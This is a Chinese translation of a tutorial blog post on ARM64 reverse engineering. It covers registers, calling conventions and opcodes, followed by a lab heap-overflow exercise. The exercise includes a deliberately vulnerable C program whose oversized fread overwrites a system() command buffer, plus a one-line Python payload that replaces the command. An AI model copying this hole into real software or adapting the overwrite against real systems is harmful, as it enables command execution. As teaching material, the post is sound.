跳转至

ARM64逆向和利用 Part1——ARM指令集与简单堆溢出(笔记)

翻译自ARM64 Reversing And Exploitation Part 1 – ARM Instruction Set + Simple Heap Overflow | 8kSec Blogs,同时修改部分内容

在本博客系列中,我们将了解 ARM 指令集并使用它来逆向 ARM 二进制文件,然后为它们编写漏洞利用程序。那么让我们从 ARM64 的基础知识开始吧。

ARM64 介绍

ARM64 是 RISC(精简指令集计算机)架构系列。RISC区别于其他架构的特点是使用了小型、高度优化的指令集,而不是其他类型的架构(例如 CISC)中常见的更专业的指令集。 ARM64 遵循Load/Store方法,其中操作数和目标都必须位于寄存器中。加载-存储架构是一种指令集架构,它将指令分为两类:内存访问(内存和寄存器之间的加载和存储)和ALU操作(仅发生在寄存器之间)。这与寄存器-内存架构(例如,诸如x86的CISC指令集架构)不同,举例来说,在寄存器-内存架构中,用于ADD操作的操作数之一可能位于存储器中,而另一个位于寄存器中。使用ARM架构非常适合移动设备,因为RISC架构需要很少的晶体管,因此可以减少设备的功耗和发热,从而延长电池寿命,这对于移动设备至关重要。

目前的iOS和Android手机都使用ARM处理器,较新的手机具体使用ARM64。因此,逆向 ARM64 汇编代码对于理解二进制文件或任何二进制文件/应用程序的内部工作原理至关重要。本博客系列不可能涵盖整个 ARM64 指令集,因此我们将重点关注最有用的指令和最常用的寄存器。还需要注意的是,ARM64 也称为 ARMv8(8.1、8.3 等),而 ARM32 则称为 ARMv7。

ARMv8 (ARM64) 通过使用两种执行状态 —— AArch32 和 AArch64 来保持与现有 32 位架构的兼容性。在AArch32状态下,处理器只能访问32位寄存器。在AArch64状态下,处理器可以访问32位和64位寄存器。 ARM64有几个通用和专用寄存器。通用寄存器是那些没有附加作用的寄存器,因此可以被大多数指令使用。人们可以用它们进行算术运算,将它们用作内存地址,等等。特殊用途寄存器也没有附加作用,但只能用于某些目的并且只能由某些指令使用。其他指令可能隐式依赖于它们的值。堆栈指针寄存器就是一个例子。然后我们有控制寄存器——这些寄存器有附加作用。在 ARM64 上,这些寄存器类似于 TTBR(转换表基址寄存器),它保存当前页表的基址指针。其中许多将具有特权并且只能由内核代码使用。然而,某些控制寄存器可供任何人使用。在下图中我们可以看到 XNU 内核的一些控制寄存器。

Example of some control registers used in the iOS kernel

现代操作系统被定义拥有多个特权级别,可用于控制对资源的访问。内核和用户空间之间的划分就是一个例子。 Armv8 通过实施不同级别的特权来实现这种划分,这些级别在 Armv8-A 架构中称为异常级别。 ARMv8 有多个编号的异常级别(EL0、EL1 等),编号越高,权限越高。当发生异常时,异常级别可以增加或保持不变。然而,当从异常返回时,异常级别可以降低或保持不变。执行状态(AArch32 或 AArch64)可以通过获取异常或从异常返回来进行变更。上电时,设备进入最高异常级别。

Example of Exception levels in ARM

ARM64寄存器

以下列表定义了不同的 ARM64 寄存器及其用途

  • x0-x30 是 64 位通用寄存器。它们的下半部分可以通过 w0-w30 访问。
  • 有四个堆栈指针寄存器SP_EL0、SP_EL1、SP_EL2、SP_EL3(每个用于不同的执行级别),均为32位宽。除此之外,还有 3 个异常链接寄存器 ELR_EL1、ELR_EL2、ELR_EL3,3 个保存程序状态寄存器 SPSR_EL1、SPSR_EL2、SPSR_EL3 和 1 个程序计数器寄存器 (PC)。
  • Arm 还使用 PC 相对寻址——其中指定相对于 PC 的操作数地址(基地址)——这有助于执行内存位置不相关的代码。
  • 在 ARM64 中(与 ARM32 不同),大多数指令无法访问 PC,尤其是不能直接访问。PC只能够被间接修改,例如使用跳转或堆栈相关指令。
  • 类似的,SP(堆栈指针)寄存器永远不会被隐式修改(例如使用 push/pop 调用)。
  • 当前程序状态寄存器 (CPSR) 保存与 APSR 相同的程序状态标志以及一些附加信息。
  • opcode中的第一个寄存器通常是目标,其余是源(str、stp 除外)
寄存器 用途
x0 -x7 参数(最多 8 个),剩余参数将位于堆栈上
x8 -x18 通用,保存变量。从函数返回时不能做出任何假设
x19 -x28 如果被函数使用,则必须保留它们的值,并在返回给调用者时恢复
x29 (fp) 帧指针(指向栈帧底部)
x30 (lr) 链接寄存器,保存函数调用的返回地址
x16 用于系统调用,即 SVC(0x80)call
x31 (sp/(x/w)zr) 堆栈指针 (sp) 或零寄存器(xzr 或 wzr)
PC 程序计数器寄存器。包含下一条要执行的指令的地址
APSR / CPSR 当前程序状态寄存器(保存标志)

ARM64 调用约定

  • 函数参数在 x0-x7 寄存器中传递,其余在堆栈上传递
  • ret命令用于返回Link寄存器中的地址(默认值为x30)
  • 函数的返回值存储在 x0 或 x0+x1 中,具体取决于其是 64 位还是 128 位
  • x8是间接结果寄存器,用于传递间接结果的地址位置,例如,函数返回一个大结构体
  • 函数分支跳转时会使用 B opcode
  • 带链接的子程序跳转 (BL) 在跳转分支之前会将下一条指令的地址(BL 之后)复制到链接寄存器 (x30)
  • 如上所述, BL 用于子程序调用
  • BR 调用用于跳转寄存器中记录的子程序,例如 br x8
  • BLR 代码用于跳转到寄存器中地址子程序,并将下一条指令(BL之后)的地址存储到链接寄存器(x30)中

ARM64 Opcodes

操作码 用途
MOV 将一个寄存器中的值移至另一个寄存器
MOVN 将负值移至寄存器
MOVK 将 16 位立即数移入寄存器,其余部分保持不变
MOVZ 移动已移位的 16 位到寄存器,其余保持不变
lsl/lsr 逻辑左移(Logical shift left)逻辑右移(Logical shift right)
ldr 加载寄存器值
str 存储寄存器值
ldp/stp 相比于LDR和STR指令(8 bytes),LDP和STP指令用于多字节(16 bytes)操作
adr PC指针相关偏移处的地址
adrp PC指针相关偏移处的页的基地址
cmp 比较两个值,标志会自动更新(N – 结果为31位,如果结果为零则为 Z,如果溢出则为 V,如果不是借位则为 C)
bne 不相等跳转指令,当zero flag没有设置时跳转

系统寄存器

除此之外,可能还有一些系统特定的寄存器,这些寄存器仅在该特定操作系统上可用。例如,iOS 中存在以下寄存器

arm64_reversing_and_exploitation_part_1-003.png

读/写系统寄存器

MRS、systemreg -> 从系统寄存器读取到目标寄存器 Xt

MSR、systemreg -> 将 Xt 寄存器中存储的值写入系统寄存器

例如,使用 MSR PAN, #1 设置 PAN 位,使用 MSR PAN, #0 清除 PAN 位

函数头/尾

函数头 – 出现在函数的开头,准备堆栈和寄存器以便在函数内使用

函数尾 – 出现在函数末尾,恢复堆栈并注册到函数调用之前的原始状态

arm64_reversing_and_exploitation_part_1-004.png

例子

  • mov x0, x1 -> x0 = x1
  • movn x0, 1 -> x0 = -1
  • add x0, x1 -> x0 = x0 + x1
  • ldr x0, [x1] -> x0 = *x1 -> x0 = address stored in x1
  • ldr x0, [x1, 0x10]! -> x1 += 0x10; x0 = *x1(Pre-Indexing mode)
  • ldr x0, [x1], 0x10 -> x0 = *x1; x1 += 0x10 (Post-Indexing mode)
  • str x0, [x1] -> *x1 = x0 -> Destination is on the right
  • ldr x0, [x1, 0x10] -> x0 = *(x1 + 0x10)
  • ldrb w0, [x1] -> Load a byte from address stored in x1
  • ldrsb w0, [x1] -> Load a signed byte from address stored in x1
  • adr x0, label -> Load address of labels into x0
  • stp x0, x1, [x2] -> x2 = x0; (x2 + 8) = x1
  • stp x29, x30, [sp, -64]! -> store x29, x30 (LR) on stack
  • ldp x29, x30, [sp], 64] -> Restore x29, x30 (LR) from the stack
  • svc 0 -> Perform a syscall (syscall number x16 register)
  • str x0, [x29] -> store x0 at the address in x29 (destination on right)
  • ldr x0, [x29] -> load the value from the address in x29 into x0
  • blr x0 -> calls the subroutine at the address stored in x0, store next instruction in link register (x30)
  • br x0 -> Jump to address stored in x0
  • bl label -> Branch to label, store next instruction in link register (x30)
  • bl printf -> Call the printf function with arguments stored x0, x1
  • ret -> Jump to the address stored in x30

一个简单的堆溢出

让我们为 ARM 二进制文件编写一个简单的堆溢出漏洞利用。先看一下程序执行的结果

arm64_reversing_and_exploitation_part_1-005.png

看一看Ghidra反编译的结果,经过部分变量和函数重命名,大致的反编译结果如下,其中

  • stp指令将栈指针x29和链接寄存器x30推送到栈上,为函数调用保存状态
  • str指令将寄存器x19保存到栈上
  • mov指令保存sp到x29

至此,完成函数的初始化

  • cmp和b.gt指令:如果参数个数小于1,则跳转到LAB_001019e4
  • LAB_001019e4:如果参数个数小于1,打印错误信息 “Better luck next time” 并退出
  • cmp和b.ne指令:如果argc==3,则加载第二个参数的指针到argc,并将argv指针保存到x19
  • 随后使用strcmp比较字符串,相等时,调用_heapOverflow函数

调用结束后,使用ldp恢复栈指针和链接寄存器,返回

arm64_reversing_and_exploitation_part_1-006.png

所以,我们需要做什么才能跳转到函数 heapOverflow呢?

为此,必须满足以下要求:

  • 传递三个参数(或 2 个,因为 C 程序中的第一个参数是调用该程序的命令)
  • argv[1] 应为字符串“heap”
  • argv[2] 应该是作为第一个参数传递给函数 heapOverflow 的参数**

回忆一下,C 中的 main 函数原型

1
int main(int argc, char **argv)

argc – 一个整数,包含 argv 中后面的参数计数。 argc 参数始终大于或等于 1。

argv – 一个以 null 结尾的字符串数组,表示程序用户输入的命令行参数。按照约定,argv[0] 是调用程序的命令,argv[1] 是第一个命令行参数,依此类推,直到 argv[argc],它始终为 NULL

看一下 heapOverflow 函数的伪代码,这里部分变量名经过了修复

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int _heapOverflow(char *param_1)

{
  int iVar1;
  FILE *f;
  size_t fs;
  void *__name;
  undefined4 *__command;

  puts("Heap overflow challenge. Execute a shell command of your choice on the device");
  printf("Welcome: from %s, printing out the current user\n",param_1);
  f = fopen(param_1,"rb");
  fseek(f,0,2);
  fs = ftell(f);
  fseek(f,0,0);
  __name = malloc(0x400);
  __command = (undefined4 *)malloc(0x400);
  *__command = 0x616f6877;
  *(undefined4 *)((long)__command + 3) = 0x696d61;
  fread(__name,1,fs,f);
  iVar1 = system((char *)__command);
  return iVar1;
}

所以看起来它试图打开一个文件,该文件的名称作为传递给它的第一个参数。最后,还有一个对执行命令的系统函数的调用,输入是__command,对应到汇编上为x22寄存器;__name(x21)的分配为 0x400 字节,使用 fread 命令读取(fread(__name,1,fs,f);

我们在设备上创建一个简单的文件并将其作为漏洞二进制文件的输入传递。

arm64_reversing_and_exploitation_part_1-007.png

看起来它打印出了 whoami 命令的输入

让我们稍微看一下程序的源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void heapOverflow(char *filename);

int main(int argc, char** argv) {
    if(argc <= 1){
        printf("Better luck next time\n");
    }else if(argc == 3 && strcmp(argv[1], "heap") == 0){
        heapOverflow(argv[2]);
    }
    return 0;
}

void heapOverflow(char *filename){
    printf("Heap overflow challenge. Execute a shell command of your choice on the device\n");
    printf("Welcome: from %s, printing out the current user\n", filename);
    FILE *f = fopen(filename,"rb");
    fseek(f, 0, SEEK_END);
    size_t fs = ftell(f);
    fseek(f, 0, SEEK_SET);
    char *name = malloc(0x400);
    char *command = malloc(0x400);
    strcpy(command,"whoami");
    fread(name, 1, fs, f);
    system(command);
    return;
}

果然,传递长度超过 0x400 字节的文件会溢出到相邻的内存,并可能最终溢出到字符串“command”,因此当进行系统调用时,我们也许可以调用我们自己的命令。

使用python生成恶意的文件

1
python -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt

然后将它推送到设备中并作为二进制的输入执行,当保护关闭的情况下,会执行ls命令


评论